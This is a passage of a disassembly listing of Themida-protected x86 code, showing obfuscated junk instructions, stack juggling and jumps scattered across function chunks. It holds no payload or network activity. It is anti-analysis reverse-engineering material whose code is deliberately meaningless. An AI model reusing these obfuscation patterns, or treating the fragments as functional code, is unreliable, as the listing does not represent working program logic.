; ---------------------------------------------------------------------------


loc_59DAEA:				; CODE XREF: Themida_:005A67D3j
		push	eax
		push	edx
		mov	edx, 384E7D22h
		not	edx
		jmp	loc_5AB65A
; ---------------------------------------------------------------------------


loc_59DAF8:				; CODE XREF: Themida_:005A20ADj
		add	esp, 4
		imul	ecx
		push	3CCAh
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_599D07
; ---------------------------------------------------------------------------


loc_59DB20:				; CODE XREF: Themida_:005A0033j
		mov	esi, 54B0AFBh
		sub	ecx, esi
		jmp	loc_5A981A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59DB2C:				; CODE XREF: sub_59B707+9CFAj
					; sub_5A8C33+1F62j
		add	eax, ebp
		sub	eax, 915447Dh
		mov	ebp, [esp+0Ch+var_C]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A7724
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	1696h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_598DFC
; ---------------------------------------------------------------------------


loc_59DB62:				; CODE XREF: Themida_:005A861Bj
		xor	ebp, eax
		jmp	loc_5990CE
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5A19F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_59DB6F:				; CODE XREF: sub_599721+5945j
		pop	esp
		shr	ecx, 7
		push	3
		jmp	loc_5A461C
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59DB7D:				; CODE XREF: sub_5A8D43:loc_5A3B09j
		add	cl, 83h
		xor	cl, 0B1h
		add	cl, 3Eh
		jmp	loc_5A44E4
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59DB8B:				; CODE XREF: Themida_:005A4704j
		add	edi, ecx
		jmp	loc_59E9C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A00F8


loc_59DB92:				; CODE XREF: sub_5A00F8+6j
		xor	eax, ebx
		jmp	loc_599C07
; END OF FUNCTION CHUNK	FOR sub_5A00F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59DB99:				; CODE XREF: sub_5A91EC-7D46j
		jmp	loc_5A1D43
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59DB9E:				; CODE XREF: sub_5A8D43-B96Ej
		push	826h
		mov	[esp+4+var_4], esi
		push	27C4316Dh
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	ecx
		jmp	loc_59BA2E
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A594B


loc_59DBB7:				; CODE XREF: sub_5A594B-183Cj
		xor	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	ax, word ptr [esp-4+arg_0]
		jmp	sub_5ABA9B
; END OF FUNCTION CHUNK	FOR sub_5A594B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59DBC6:				; CODE XREF: sub_59CA4A-179Cj
		pop	ebx
		xchg	eax, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], ebp
		push	5AF4EE05h
		pop	ebp
		xor	eax, ebp
		jmp	loc_597B81
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_59DBDB:				; CODE XREF: sub_59AE49+94B6j
					; DATA XREF: Themida_:00597898o
		mov	cx, word ptr [esp+0Ch+var_C]
		jmp	sub_5A980C
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59DBE4:				; CODE XREF: sub_5A7343+FCFj
		sub	al, dl
		mov	edx, [esp+4+var_4]
		jmp	sub_5991B7
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_59DBEE:				; CODE XREF: Themida_:0059C075j
		push	ebx
		jmp	loc_5A0380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59DBF4:				; CODE XREF: sub_59FFBE-161Cj
		add	edx, 73EB619Dh
		jmp	loc_59A4C8
; END OF FUNCTION CHUNK	FOR sub_59FFBE

; =============== S U B	R O U T	I N E =======================================



sub_59DBFF	proc near		; CODE XREF: sub_5A600F+631Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A444 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AD65 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C8DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CE3D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059DE10 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059EC9A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A0327 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A12FF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1D9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3302 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A37F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A6A73 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A702E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8A70 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABA5D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACAFD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AD5B7 SIZE 0000000B BYTES

		push	ebp
		push	edx
		push	206074CCh
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59C8DB
sub_59DBFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59DC11:				; CODE XREF: sub_5A8C33-BA81j
		push	ecx
		mov	ecx, esp
		jmp	loc_5A5783
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59DC19:				; CODE XREF: sub_5AC95F-FE5Ej
					; Themida_:0059D9C1j
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5A64BC
; ---------------------------------------------------------------------------


loc_59DC27:				; CODE XREF: sub_5AC95F-12C8j
		sub	ebx, 0CA465E1h
		add	ebx, ebp
		add	ebx, 0CA465E1h
		add	ebx, 36AD5A4Ah
		push	[esp+0Ch+var_C]
		pop	ebp
		add	esp, 4
		add	ebx, 293E0B94h
		sub	esi, ebx
		pop	ebx
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_5A2097
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59DC5B:				; CODE XREF: sub_5AEE2E-6370j
		mov	edx, 6088732Ch
		mov	ecx, 8C224578h
		push	eax
		jmp	loc_59E3BE
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59DC6B:				; CODE XREF: sub_5ABE52-C94Aj
		add	esp, 4
		and	eax, esi
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		push	3A74h
		mov	[esp+10h+var_10], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59929D
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59DC91:				; CODE XREF: sub_5A7343+6j
		push	esi
		mov	esi, 5216CD3h
		sub	esi, 1D26587Bh
		jmp	loc_5AA863
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59DCA2:				; CODE XREF: sub_5A1B2A:loc_5A3FB9j
					; sub_5AA500-320Aj
		mov	ax, [esp+0]
		add	esp, 2
		sub	esp, 4
		jmp	loc_5A48CB
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59DCB1:				; CODE XREF: sub_5A91EC-20D4j
		mov	[esp-18h+arg_14], ebp
		jmp	sub_59CE02
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	dx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59BBC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59DCD5:				; CODE XREF: sub_59D99C-401Dj
		dec	edi
		jmp	loc_5A157B
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59DCDB:				; CODE XREF: Themida_:0059EDE6j
		add	esp, 4
		push	ebp
		jmp	loc_5AA0C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A70C2


loc_59DCE4:				; CODE XREF: sub_5A70C2+1843j
		add	ecx, esi
		pop	esi
		jmp	loc_5A332B
; END OF FUNCTION CHUNK	FOR sub_5A70C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D95F


loc_59DCEC:				; CODE XREF: sub_59D95F+CB27j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A15BB
; END OF FUNCTION CHUNK	FOR sub_59D95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59DCFD:				; CODE XREF: sub_59D99C+1634j
		not	eax
		jmp	loc_5A2319
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59DD04:				; CODE XREF: Themida_:0059F1EAj
		add	edi, 1EA718Fh
		add	edi, ebx
		sub	edi, 1EA718Fh
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5AEEA2
; ---------------------------------------------------------------------------


loc_59DD21:				; CODE XREF: Themida_:005A801Bj
		add	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 76h
		push	ebx
		mov	bh, 49h
		push	edx
		mov	dl, 0Bh
		jmp	loc_5AB77F
; ---------------------------------------------------------------------------


loc_59DD37:				; CODE XREF: Themida_:00599445j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_599A4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_59DD40:				; CODE XREF: sub_5A4F3D-9DE7j
					; Themida_:0059FCB0j
		xchg	edx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], eax
		push	4
		pop	eax
		add	edx, 1028516Fh
		sub	edx, 2B386362h
		sub	edx, eax
		add	edx, 2B386362h
		sub	edx, 1028516Fh
		pop	eax
		jmp	loc_5A808F
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------


loc_59DD6D:				; CODE XREF: Themida_:005AB8F4j
		add	esi, edx
		pop	edx
		jmp	loc_59CCF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_59DD75:				; CODE XREF: sub_59CFBF+108C7j
		mov	edi, ebp
		jmp	loc_59A318
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_59DD7C:				; CODE XREF: sub_5ADDF8-3E0Ej
		add	eax, 19455B62h
		and	eax, 321D0C33h
		add	eax, 5DBE24C8h
		or	edi, eax
		pop	eax
		not	edi
		xor	edi, 5D31981h
		xor	edi, 8592C8B1h
		jmp	loc_5A1A1E
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59DDA1:				; CODE XREF: sub_5A91EC-7D40j
		xor	edx, 1C471B40h
		mov	ecx, edx
		pop	edx
		push	edx
		mov	edx, 63840EDh
		jmp	loc_59D3C0
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_59DDB5:				; CODE XREF: Themida_:005A34CCj
		add	ebx, 4F100470h
		jmp	loc_5A2477
; ---------------------------------------------------------------------------


loc_59DDC0:				; CODE XREF: Themida_:005AEE95j
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 82E7740h
		and	esi, 0D3F61DBh
		shl	esi, 4
		neg	esi
		sub	esi, 7D19EBFCh
		sub	ebp, 36EB4F40h
		jmp	loc_59BF63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_59DDE7:				; CODE XREF: sub_59B48F+9D1Cj
		xor	esi, 0DC16BAEh
		sub	ecx, esi
		jmp	loc_5A3C68
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------


loc_59DDF4:				; CODE XREF: Themida_:005A8CC3j
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5AE3EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_59DE05:				; CODE XREF: sub_5ADDF8-BC0Aj
		mov	edi, 71B22A0Bh
		push	eax
		jmp	loc_5A9FE0
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_59DE10:				; CODE XREF: sub_59DBFF+8E77j
		add	edx, edi
		push	272Dh
		mov	[esp+0Ch+var_C], ecx
		push	edi
		mov	edi, 0
		push	esi
		mov	esi, edi
		mov	ecx, esi
		pop	esi
		push	[esp+10h+var_10]
		jmp	loc_5A12FF
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59DE2E:				; CODE XREF: sub_598D16+109F3j
		add	eax, 23D710B0h
		jmp	loc_5AD4E8
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_59DE38:				; CODE XREF: Themida_:005A1D27j
		bts	[esp], ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59DE43:				; CODE XREF: sub_5AB3DC+1EFAj
		mov	edi, eax
		pop	eax
		inc	edi
		and	edi, 4AD75F3Bh
		jmp	loc_59B905
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59DE52:				; CODE XREF: sub_59CA4A+957Aj
		add	eax, 557F6B6Bh
		jz	loc_59C4EE
		jmp	loc_598040
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59DE62:				; CODE XREF: sub_5AB98B-6C00j
		add	al, 0BCh
		mov	ecx, dword ptr [esp+2+var_2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 6164074Eh
		inc	esi
		not	esi
		inc	esi
		dec	esi
		jmp	loc_5A2966
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------


loc_59DE80:				; DATA XREF: Themida_:005978FCo
		mov	ax, [esp]
		push	edx
		jmp	loc_5A5574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_59DE8A:				; CODE XREF: sub_59D151+6A57j
		add	esp, 4
		jmp	loc_5A25D9
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------


loc_59DE95:				; CODE XREF: Themida_:005A7BC0j
		add	edi, 1E2746A4h
		sub	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A1623

; =============== S U B	R O U T	I N E =======================================



sub_59DEB0	proc near		; CODE XREF: sub_5A8D43-FE80j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005982EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F7F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A18FC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A3A67 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AD8DF SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AF0F3 SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 0B0C9303Eh
		add	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		shr	edx, 8
		shr	edx, 6
		add	edx, 52A73135h
		and	edx, 737E4693h
		jmp	loc_5A3A67
sub_59DEB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59DED3:				; CODE XREF: Themida_:0059A8FCj
		pop	esi
		jmp	loc_5AB585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9443


loc_59DED9:				; CODE XREF: sub_5A9443-6E3Cj
		mov	[esp+0], edx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		jmp	loc_5A26AC
; END OF FUNCTION CHUNK	FOR sub_5A9443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59DEE7:				; CODE XREF: sub_5A8F00-53E3j
					; sub_5A8D43-2936j
		or	ecx, 405D7379h
		jmp	loc_59E2A5
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4470


loc_59DEF2:				; CODE XREF: sub_5A4470+9BDBj
		add	eax, esi
		sub	eax, 718512B0h
		pop	esi
		sub	eax, 0FFFFFFFFh
		sub	eax, 31EA5060h
		sub	eax, 4A1C7624h
		add	eax, 5013783Bh
		push	ebp
		mov	ebp, 65B021C5h
		add	ebx, ebp
		pop	ebp
		jmp	loc_597EBC
; END OF FUNCTION CHUNK	FOR sub_5A4470
; ---------------------------------------------------------------------------


loc_59DF1C:				; CODE XREF: Themida_:0059D142j
		mov	edx, edi
		pop	edi
		jmp	loc_597BDB
; ---------------------------------------------------------------------------


loc_59DF24:				; CODE XREF: Themida_:005A139Fj
		push	esi
		jmp	loc_59FD76
; ---------------------------------------------------------------------------


loc_59DF2A:				; DATA XREF: Themida_:005978F4o
		mov	ax, [esp]
		jmp	loc_599CA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59DF33:				; CODE XREF: Themida_:005A53EFj
					; sub_59B707+13634j ...
		mov	bh, 95h
		shl	bh, 5
		js	loc_597BBA
		dec	bh
		jns	loc_5A51A3
		mov	al, 20h
; END OF FUNCTION CHUNK	FOR sub_59B707
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_59DF48:				; CODE XREF: sub_59EE57-401Bj
		mov	eax, ebp
		pop	ebp
		dec	eax
		neg	eax
		sub	eax, 333A31FBh
		xor	eax, 94979761h
		add	edx, eax
		mov	eax, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A3592
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_59DF6B:				; CODE XREF: sub_599526+158CEj
		mov	edi, 2
		mov	ecx, edi
		jmp	loc_5A5CD2
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59DF77:				; CODE XREF: sub_5ACD64-135FAj
		push	edx
		mov	edx, 4
		sub	ecx, edx
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		xor	ecx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], ecx
		xor	ecx, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		mov	[esp-10h+arg_C], edi
		push	6020h
		sub	esp, 4
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		pop	[esp-8+arg_4]
		add	[esp-0Ch+arg_8], 4
		push	[esp-0Ch+arg_8]
		pop	edi
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		add	edi, 4
		add	edi, 4
		xor	edi, [esp-8+arg_4]
		xor	[esp-8+arg_4], edi
		jmp	loc_5A3E48
; END OF FUNCTION CHUNK	FOR sub_5ACD64

; =============== S U B	R O U T	I N E =======================================



sub_59DFDD	proc near		; CODE XREF: sub_59B707+12166j
					; DATA XREF: Themida_:00597AA4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059B8A4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059BDAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C37B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059D8B6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059EEF0 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059F521 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059FCBC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3102 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A4156 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4713 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6361 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A6DD8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A721E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A785B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A82A7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AAE46 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005ACB1C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AEC9B SIZE 0000001F BYTES

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_59B8A4
sub_59DFDD	endp

; ---------------------------------------------------------------------------


loc_59DFEF:				; CODE XREF: Themida_:0059B4B2j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_598900
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59DFFE:				; CODE XREF: sub_5AC95F-6C82j
		push	[esp-4+arg_0]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5A42A3
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59E019:				; CODE XREF: sub_599059+AE0Aj
		sub	ebx, 22E3158Ah
		jmp	loc_5ACE72
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59E024:				; CODE XREF: sub_5AEE2E-6380j
		push	ecx
		sub	esp, 4
		mov	[esp+8+var_8], edx
		jmp	loc_59E3D4
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59E033:				; CODE XREF: sub_59B707+AE21j
		pop	ebx
		xor	ebp, 9FFF6B70h
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-10h+arg_C], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp-0Ch+arg_C]
		jmp	loc_5A31AF
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59E059:				; CODE XREF: Themida_:005A88D2j
		add	eax, 16944E1Ah
		sub	eax, 65233CBCh
		jmp	loc_5A81EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59E068:				; CODE XREF: sub_5ACD64-6B6Dj
		mov	esp, [esp-8+arg_4]
		push	[esp-8+arg_4]
		pop	eax
		sub	esp, 4
		jmp	loc_5AEF68
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_59E07A:				; CODE XREF: sub_5A94F5+5A6j
		pop	ebp
		push	[esp-4+arg_0]
		jmp	loc_598227
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59E083:				; CODE XREF: sub_59EE40-5j
		neg	bh
		sub	bh, 0D1h
		xor	bh, 0BBh
		xor	ah, bh
		pop	ebx
		sub	bl, ah
		mov	eax, [esp+0]
		add	esp, 4
		sub	bl, al
		push	3980h
		mov	[esp+0], eax
		mov	al, 95h
		shr	al, 7
		shl	al, 7
		and	al, 6Bh
		push	edx
		push	ecx
		mov	cl, 6Fh
		dec	cl
		jmp	loc_5ADA61
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E0B8:				; CODE XREF: sub_59D99C+C1Bj
		mov	eax, 32B85127h
		or	esi, eax
		pop	eax
		shr	esi, 4
		jmp	loc_5A694F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59E0C8:				; CODE XREF: sub_5AC95F:loc_59B655j
					; sub_5A8D43+241Dj
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 2D5A3E07h
		jmp	loc_5A80B0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59E0D9:				; CODE XREF: sub_5A799C-AA59j
					; sub_5ACD64-3B0Fj
		add	bl, dh
		pop	edx
		sub	bl, al
		sub	bl, 77h
		push	60A8h
		jmp	loc_5A4EBB
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_59E0EB:				; CODE XREF: Themida_:005AA8DAj
		jmp	loc_5A4945
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_59E0F0:				; CODE XREF: sub_59D663-3F8Bj
		add	ecx, 2477108Dh
		mov	edx, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		shr	edx, 1
		shr	edx, 6
		not	edx
		jmp	loc_5AB8CC
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------


loc_59E10A:				; CODE XREF: Themida_:005A6165j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A4EF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_59E11D:				; CODE XREF: sub_59F2C8-20A1j
		xor	al, bh
		mov	bx, [esp+0]
		push	5740h
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	eax
		jmp	loc_59AAB9
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59E133:				; CODE XREF: sub_5A8D43-11D5j
		shl	ebp, 1
		shl	ebp, 4
		jmp	loc_5AC1B8
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59E13D:				; CODE XREF: Themida_:005A261Aj
		push	edx
		mov	edx, 61CC259Eh
		and	edx, 42F34285h
		jmp	loc_59E415
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59E14E:				; CODE XREF: sub_5A8C33+29A0j
		mov	ebp, 151308B6h
		jmp	loc_5AD83E
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59E158:				; CODE XREF: sub_5A3F42:loc_59946Fj
		shr	edi, 4
		add	edi, 3D4424CBh
		jmp	loc_5AC7DF
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E166:				; CODE XREF: sub_59D99C-306j
					; sub_5AC402-24EFj
		pop	edi
		shr	ecx, 0Bh
		jmp	loc_59963C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59E16F:				; CODE XREF: sub_5AC95F-E331j
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 2D5A3E07h
		js	loc_597F58
		xor	ebx, 0FB033334h
		jmp	sub_5A7CF9
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		push	ebx
